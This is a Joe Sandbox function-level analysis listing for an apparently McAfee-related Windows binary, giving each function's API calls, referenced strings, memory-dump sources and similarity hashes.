String ID: C:\jenkins\workspace\sumer_Cardinal_aviary-sdk_master\src\trust\lib\trust_impl.cpp$failed to create controller -- not caching$failed to initialize COM$failed to update cache$trust$trust$update_cache
API String ID: 212005684-576793877
Opcode ID: 1977caced016c458e616f920845b8f074c622666fe99bd0510ebcb027483110d
Instruction ID: 932357c31a8e493a80b1515e12d2968dd997392e1035726489a7cc0806910d8c
Opcode Fuzzy Hash: 1977caced016c458e616f920845b8f074c622666fe99bd0510ebcb027483110d
Instruction Fuzzy Hash: B0128B71D002689BDB21DFA0CC41BDEBBB4AF18304F1081EAE509B7291EB755E88CF95

Function 00427F14 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00428011
type_info::operator==.LIBVCRUNTIME ref: 00428033
___TypeMatch.LIBVCRUNTIME ref: 00428142
IsInExceptionSpec.LIBVCRUNTIME ref: 00428214
_UnwindNestedFrames.LIBCMT ref: 00428298
CallUnexpected.LIBVCRUNTIME ref: 004282B3

Strings

csm, xrefs: 00427F51
csm, xrefs: 00427FBE
csm, xrefs: 0042806A

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: bd6475a33020a316d1291ff0f27e035cc560cc4a3d3e0c93f283397e8e65fb70
Instruction ID: d91aa22feb6c4486480b327d62d5d6c7c84aaf1269a519b4b20dca609bfd11cd
Opcode Fuzzy Hash: bd6475a33020a316d1291ff0f27e035cc560cc4a3d3e0c93f283397e8e65fb70
Instruction Fuzzy Hash: 2CB1CF31A01229DFCF18DF95E8419AEB7B5BF04314B90459FE8146B302CB38E911CFA9

Function 00411C19 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 208COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000), ref: 00411DFC

Strings

C:\jenkins\workspace\sumer_Cardinal_aviary-sdk_master\src\trust\lib\trust_impl.cpp, xrefs: 00411F43, 00412004
'%ls' is not signed by McAfee, xrefs: 00411FB9
PZ, xrefs: 00411D60
mfe_trust_init, xrefs: 00411D01
failed to validate '%ls', xrefs: 00411EFA
mfe_trust_uninit, xrefs: 00411D22
mfe_trust_validate, xrefs: 00411D44
P|, xrefs: 00411D3E

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeLibrary
String ID: '%ls' is not signed by McAfee$C:\jenkins\workspace\sumer_Cardinal_aviary-sdk_master\src\trust\lib\trust_impl.cpp$PZ$P|$failed to validate '%ls'$mfe_trust_init$mfe_trust_uninit$mfe_trust_validate
API String ID: 3664257935-127399813
Opcode ID: dbbba347882e2a8c21f54a34b5855e59f3378280f5af5a2f61d784ac17191d03
Instruction ID: d9baddef8be8f5602a01b870d466b4370c737f09aa8ec8f34d2152f4650fc673
Opcode Fuzzy Hash: dbbba347882e2a8c21f54a34b5855e59f3378280f5af5a2f61d784ac17191d03
Instruction Fuzzy Hash: FDA10570D043589FEF20CFA4C944BDEBBB4BF05304F10859AD549AB291DBB89A89CF65

Function 003F1AB0 Relevance: 14.5, APIs: 6, Strings: 2, Instructions: 454registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,A05DD77D), ref: 003F1BBF
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedW), ref: 003F1BD7
RegCloseKey.ADVAPI32(00000000), ref: 003F1C4F
RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,?,?,A05DD77D), ref: 003F1CEE
RegCloseKey.ADVAPI32(00000000), ref: 003F1F80
PostMessageW.USER32(00000002,00000000,00000000), ref: 003F20DC

Strings

RegCreateKeyTransactedW, xrefs: 003F1BD1
Advapi32.dll, xrefs: 003F1BBA

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Close$AddressHandleMessageModulePostProcQueryValue
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 1163662419-2994018265
Opcode ID: e97c5846123a4760c03188e0c9c8632c1a57d19a9c1747ca4672755a38abfd25
Instruction ID: 078f49b441624e59c151059fe790a14b61e0b3350b0dd0285e669e305ce216ae
Opcode Fuzzy Hash: e97c5846123a4760c03188e0c9c8632c1a57d19a9c1747ca4672755a38abfd25
Instruction Fuzzy Hash: 8C02E131A0025CEBEF25CF14EC89BEE77B5AF45304F154298FA09A7290E775AE84CB54

Function 003E5710 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000040,00000000,00000000,?), ref: 003E574C
RtlAllocateHeap.NTDLL(00000000), ref: 003E574F
GetProcessHeap.KERNEL32(00000000), ref: 003E5762
CreateSemaphoreExW.KERNEL32(00000000,00000000,00000001,?,00000000,001F0003,?,?), ref: 003E57EF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 003E58A0
HeapFree.KERNEL32(00000000), ref: 003E58A3

Strings

T>, xrefs: 003E572A
_p0, xrefs: 003E57C2

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Heap$Process$AllocateCreateFreeSemaphore
String ID: _p0$T>
API String ID: 3337013264-3997765521
Opcode ID: aa1f5d1f17e7a3a51af377dcdc10baa1f0db2c64c958b6006fe2e5d6e1fdfafe
Instruction ID: d233642662786645f02d24c6c4480f3a55ee832508c9423b2a87a481a0f5c72e
Opcode Fuzzy Hash: aa1f5d1f17e7a3a51af377dcdc10baa1f0db2c64c958b6006fe2e5d6e1fdfafe
Instruction Fuzzy Hash: DD410271B143549BD311EF66EC46B6BB7E8EF88314F00462DF9499B281EB74DD008BA5

Function 00438723 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 0043873C

Strings

asin, xrefs: 00438869
acos, xrefs: 00438872
log10, xrefs: 0043877E, 0043878D
pow, xrefs: 004387DA, 00438884, 004388D1
log, xrefs: 00438799, 004387A8
sqrt, xrefs: 0043887B
exp, xrefs: 004387BB, 00438820

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: e127dad162e440336174c2904c9739a27f0a25033546d5e0c81014532d5fb527
Instruction ID: fec9153be3740befc1dd75bbf20633465f003f993028f4ae9ade26e023d2a9be
Opcode Fuzzy Hash: e127dad162e440336174c2904c9739a27f0a25033546d5e0c81014532d5fb527
Instruction Fuzzy Hash: D75149B490070ACBDB189F69E84C1AEFBB0FB49304F95505AE491A6254CF7C8A25CB5A

Function 004250CB Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,000000C8,?,?,00425059,00000000,00425185,A05DD77D,000000C8,00000001,0043A630,000000FF,?,00412CB8,?), ref: 004250F7
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 0042510A
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 00425119
GetProcAddress.KERNEL32(00000000,WakeByAddressAll), ref: 00425127

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 004250F2
WakeByAddressSingle, xrefs: 00425110
WaitOnAddress, xrefs: 00425104
WakeByAddressAll, xrefs: 0042511F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: WaitOnAddress$WakeByAddressAll$WakeByAddressSingle$api-ms-win-core-synch-l1-2-0.dll
API String ID: 667068680-629889153
Opcode ID: 35454c0dacae52c60a850e10c65aa535fb51b1746814ceb13229ce6e85380443
Instruction ID: d6c6c84c495fb09be6cfee5ecb8580d481b65bce1579375ebe9509c77065e182
Opcode Fuzzy Hash: 35454c0dacae52c60a850e10c65aa535fb51b1746814ceb13229ce6e85380443
Instruction Fuzzy Hash: 8B01FE75B003105BDB105F99BC497AB7B68E796751B60043FFE09D3350E6B8C890875D

Function 00424559 Relevance: 13.6, APIs: 9, Instructions: 139threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00424581
GetCurrentThreadId.KERNEL32 ref: 0042459E
GetCurrentThreadId.KERNEL32 ref: 004245B3
_xtime_get.LIBCPMT ref: 00424639
GetCurrentThreadId.KERNEL32 ref: 00424663
__Xtime_diff_to_millis2.LIBCPMT ref: 0042467F
_xtime_get.LIBCPMT ref: 004246A2
GetCurrentThreadId.KERNEL32 ref: 004246AC
GetCurrentThreadId.KERNEL32 ref: 004246E3

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID:
API String ID: 3943753294-0
Opcode ID: f50776d54b4b3742d0a569b54f6b494039a5aa8c810f08855b0e67d785c9735c
Instruction ID: 57c5d41376eec16a69344c2fec78ff523a3041f8942246899d7687efcab88eb5
Opcode Fuzzy Hash: f50776d54b4b3742d0a569b54f6b494039a5aa8c810f08855b0e67d785c9735c
Instruction Fuzzy Hash: 9B519D35B00225DFCF10DF64E58096ABBF5EF89310BA4406AD9069B245DB78ED81CF69

Function 003E9660 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 353COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 003E9809
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003E9B79

Strings

invoke_rpc, xrefs: 003E970E, 003E9B89
framework, xrefs: 003E9719, 003E9B8F
E:\B\T\d30760c8-f36a-4525-bc41-ffb9fa48b740\aviary-sdk\include\aviary\internal\framework_external_client_impl.h, xrefs: 003E98C4
invoke_rpc failed for: '%.*ls', xrefs: 003E9867
framework, xrefs: 003E9874

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: StringUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: E:\B\T\d30760c8-f36a-4525-bc41-ffb9fa48b740\aviary-sdk\include\aviary\internal\framework_external_client_impl.h$framework$framework$invoke_rpc$invoke_rpc failed for: '%.*ls'
API String ID: 38351148-1254097396
Opcode ID: dfe8afb389d9b73229d317ff74f9058249540e9d5e7fd6181fdff9331bac7e70
Instruction ID: 9bcce2387dfd04d141f652fd41635ca7512f98e6c4df8c5f2145e8a599c0d1d4
Opcode Fuzzy Hash: dfe8afb389d9b73229d317ff74f9058249540e9d5e7fd6181fdff9331bac7e70
Instruction Fuzzy Hash: 65D1E670D002A8DFDF11DFA5C845BDEBBB5BF05304F1082AEE449A7282E774AA84CB55

Function 003EB580 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 240memorythreadCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,00000004), ref: 003EB6C2
GetCurrentThreadId.KERNEL32 ref: 003EB789
SysFreeString.OLEAUT32(?), ref: 003EB801
SysFreeString.OLEAUT32(?), ref: 003EB80E
SysFreeString.OLEAUT32(?), ref: 003EB81B

Strings

dummy, xrefs: 003EB74D
listen_event, xrefs: 003EB7A9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: String$Free$AllocCurrentThread
String ID: dummy$listen_event
API String ID: 3091281111-1468111930
Opcode ID: cd30be2c16aa0b545a7a43d8a79e7bc54f0b653a46e12f1a9a2912f96e2d0383
Instruction ID: 4112e6e94c10918b91a7a121639fc44f5309eb251d32ba0825dafd57d3a010d9
Opcode Fuzzy Hash: cd30be2c16aa0b545a7a43d8a79e7bc54f0b653a46e12f1a9a2912f96e2d0383
Instruction Fuzzy Hash: A8A1D874D002699FDB15CFA9C984B9DFBF5BF48300F1481AAE919AB381DB749A44CF50

Function 003EAD80 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 240memorythreadCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,00000004), ref: 003EAEC2
GetCurrentThreadId.KERNEL32 ref: 003EAF89
SysFreeString.OLEAUT32(?), ref: 003EB001
SysFreeString.OLEAUT32(?), ref: 003EB00E
SysFreeString.OLEAUT32(?), ref: 003EB01B

Strings

subscribe, xrefs: 003EAFA9
dummy, xrefs: 003EAF4D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: String$Free$AllocCurrentThread
String ID: dummy$subscribe
API String ID: 3091281111-3273043397
Opcode ID: a8630a3b933b0e99c445b5add7f3c1bcf45975c4d6a4ae6c669de89dcee953d3
Instruction ID: 39ac3796e02c755dc924901611888b273382dd45579033370262bcc66404acbf
Opcode Fuzzy Hash: a8630a3b933b0e99c445b5add7f3c1bcf45975c4d6a4ae6c669de89dcee953d3
Instruction Fuzzy Hash: B8A1FA74D002688FDB15CFA9C984B9DBBF5BF48310F1481AAD819AB381E774AE44CF51

Function 003EA380 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 230memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 003F4E70: __Mtx_init_in_situ.LIBCPMT ref: 003F4ECC

SysAllocStringLen.OLEAUT32(00000000,00000002), ref: 003EA410

Part of subcall function 003FFE90: QueryUnbiasedInterruptTimePrecise.KERNELBASE ref: 003FFEFD

Part of subcall function 003E7C00: SysAllocStringLen.OLEAUT32(00000000,00000014), ref: 003E7C16

GetCurrentThreadId.KERNEL32 ref: 003EA4BA
SysFreeString.OLEAUT32(?), ref: 003EA4FF
SysFreeString.OLEAUT32(?), ref: 003EA50C
SysFreeString.OLEAUT32(?), ref: 003EA519

Strings

get setting, xrefs: 003EA4E0
dummy, xrefs: 003EA47B

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: String$Free$Alloc$CurrentInterruptMtx_init_in_situPreciseQueryThreadTimeUnbiased
String ID: dummy$get setting
API String ID: 1410445602-3615255267
Opcode ID: 7e260e6928a2dad9a2f7f2ae77a3d2cc683dd3bb0bb10f12a48a50984f506886
Instruction ID: ee2d99d76c4956de020820181bbf945182a430636d6b7cdaa15dbf3d79c737dd
Opcode Fuzzy Hash: 7e260e6928a2dad9a2f7f2ae77a3d2cc683dd3bb0bb10f12a48a50984f506886
Instruction Fuzzy Hash: 31917371E006689FDB11DFA9C945BAEBBB4FF09300F154269E405AB2D1DB34AE44CB52

Function 003EC510 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225memorythreadCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,00000001), ref: 003EC63E
GetCurrentThreadId.KERNEL32 ref: 003EC6F9
SysFreeString.OLEAUT32(?), ref: 003EC76D
SysFreeString.OLEAUT32(?), ref: 003EC77A
SysFreeString.OLEAUT32(?), ref: 003EC787

Strings

unsubscribe, xrefs: 003EC715
dummy, xrefs: 003EC6BD, 003EC6CD

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: String$Free$AllocCurrentThread
String ID: dummy$unsubscribe
API String ID: 3091281111-26685671
Opcode ID: 6437ef3e3948af155e47ca7fe32d0b49271c646c6bf827f13c442fe7ebd0473c
Instruction ID: 5d2d2e8278ce84a96d26fe004bbc88c344e665ec99d67e55e77f0e06f98b7014
Opcode Fuzzy Hash: 6437ef3e3948af155e47ca7fe32d0b49271c646c6bf827f13c442fe7ebd0473c
Instruction Fuzzy Hash: EF917171D10268DFDF11CFA9C944B9EBBB5BB05300F14829AE409AB2C1DB749E85CF55

Function 003EC0F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 166memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00424CBF: RtlAcquireSRWLockExclusive.NTDLL(?), ref: 00424CC5

Part of subcall function 00424CDB: RtlReleaseSRWLockExclusive.NTDLL(00000000), ref: 00424CE1

Part of subcall function 003F4E70: __Mtx_init_in_situ.LIBCPMT ref: 003F4ECC

SysAllocStringLen.OLEAUT32(00000000,00000001), ref: 003EC190

Part of subcall function 003FFE90: QueryUnbiasedInterruptTimePrecise.KERNELBASE ref: 003FFEFD

Part of subcall function 003E7C00: SysAllocStringLen.OLEAUT32(00000000,00000014), ref: 003E7C16

Part of subcall function 003E7AA0: SysAllocStringLen.OLEAUT32(00000000,?), ref: 003E7AE9

GetCurrentThreadId.KERNEL32 ref: 003EC227
SysFreeString.OLEAUT32(?), ref: 003EC265
SysFreeString.OLEAUT32(?), ref: 003EC272
SysFreeString.OLEAUT32(?), ref: 003EC27F

Strings

register_for_system_events, xrefs: 003EC246
dummy, xrefs: 003EC1ED

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

